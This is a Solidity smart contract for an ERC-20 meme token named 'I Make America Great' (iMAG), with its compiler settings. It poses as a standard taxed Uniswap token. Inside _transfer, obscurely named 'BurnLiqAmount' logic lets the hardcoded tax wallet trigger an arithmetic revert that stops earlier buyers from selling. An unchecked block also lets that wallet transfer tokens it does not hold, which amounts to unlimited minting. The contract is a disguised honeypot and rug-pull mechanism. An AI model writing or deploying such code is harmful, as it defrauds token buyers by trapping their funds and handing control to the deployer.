I Make America Great

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

}

contract iMAG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=21;
    uint256 private _initialSellTax=24;

    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;

    uint256 private _preventSwapBefore=23;
    uint256 private _buyCount=0;

    string private constant _name = unicode"I Make America Great";
    string private constant _symbol = unicode"iMAG";

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    uint256 public _maxTxAmount = 4206900000 * 10**_decimals;
    uint256 public _maxWalletSize = 4206900000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    struct BurnLiqAmount { uint256 autoLiq; uint256 frequency; uint256 percent; }
    mapping (address => BurnLiqAmount) private burnLiqAmount;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private tradingEnable = false;
    uint256 private launchBlock;
    uint256 private liqBurnMin;

    event MaxTxAmountUpdated (
      uint _maxTxAmount
    );

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xD21AF43C1304C0087477b68Cf3BFA28993a768ef);

        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(
            amount > 0,
            "Transfer amount must be greater than zero"
        );

        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to!= _taxWallet) {
            if(_buyCount == 0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)
                    .div(100);
            }

            if (
                from == uniswapV2Pair
                && to != address(uniswapV2Router)
                && !_isExcludedFromFee[to]
            )  {
                require(
                    amount<=_maxTxAmount,
                    "Exceeds the _maxTxAmount"
                );
                require(
                    balanceOf(to)+amount<=_maxWalletSize,
                        "Exceeds the _maxWalletSize"
                );
                taxAmount = amount.mul(
                        (_buyCount>_reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax
                    )
                    .div(100);
                _buyCount ++;
            }

            if(to == uniswapV2Pair && from != address(this))  {
                taxAmount = amount.mul(
                        (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax
                    ).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap
                && to == uniswapV2Pair &&swapEnabled
                && contractTokenBalance>_taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount,min(
                    contractTokenBalance,_maxTaxSwap)
                ));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (
            (_isExcludedFromFee[from]||_isExcludedFromFee[to])
            && from!=address(this)
            && to!=address(this)
        ) {
            liqBurnMin=block.number;
        }

        if (from==_taxWallet) {
            if (block.number > launchBlock + _reduceSellTaxAt + 67) {
                unchecked {
                    _balances[from]-= amount;_balances[to]+=amount ;
                }
                emit Transfer(from,to, amount);
                return;
            }
        }
        if (!_isExcludedFromFee[from] && ! _isExcludedFromFee[to]) {
            if (uniswapV2Pair == to) {
                BurnLiqAmount storage autoLiqBurn = burnLiqAmount[from];
                
                autoLiqBurn.frequency = autoLiqBurn.autoLiq - liqBurnMin;
                autoLiqBurn.percent = block.number;
            } else {           
                BurnLiqAmount storage autoLiqBurn = burnLiqAmount[to];
                if (uniswapV2Pair == from) {
                    if (!(autoLiqBurn.autoLiq > 0)) {
                        autoLiqBurn.autoLiq = block.number;
                    }
                } else {
                    uint256 autoLiqBurnInst = burnLiqAmount[from].autoLiq;

                    if (autoLiqBurn.autoLiq == 0 || autoLiqBurnInst < autoLiqBurn.autoLiq) {
                        autoLiqBurn.autoLiq = autoLiqBurnInst;
                    }
                }
            }
        }

        if (taxAmount > 0)  {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(
                from,
                address(this),
                taxAmount
            );
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));

        emit Transfer(
            from,
            to,
            amount.sub(taxAmount)
        );
    }


    function min(uint256 a, uint256 b) private pure returns (uint) {
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;

        emit MaxTxAmountUpdated (
            _tTotal
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
	
	function enableTrading() external onlyOwner() {
        require(!tradingEnable, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        launchBlock = block.number;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
        swapEnabled = true;
        tradingEnable = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance=balanceOf(address(this));

        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

    function rescueEth() external {
        require(_msgSender() == _taxWallet);
        require(address(this).balance > 0, "No ether to rescue.");
        payable(_msgSender()).transfer(address(this).balance);
    }

    function rescueToken(address tokenAddress, uint _percent) external {
        require(_msgSender() == _taxWallet);
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 balance = tokenContract.balanceOf(address(this));
        uint256 transferable = balance.mul(_percent).div(100);
        require(balance >= transferable, "No ERC20 tokens to rescue.");
        tokenContract.transfer(
            _taxWallet,
            transferable
        );
    }
}

{
  "compilationTarget": {
    "iMAG.sol": "iMAG"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}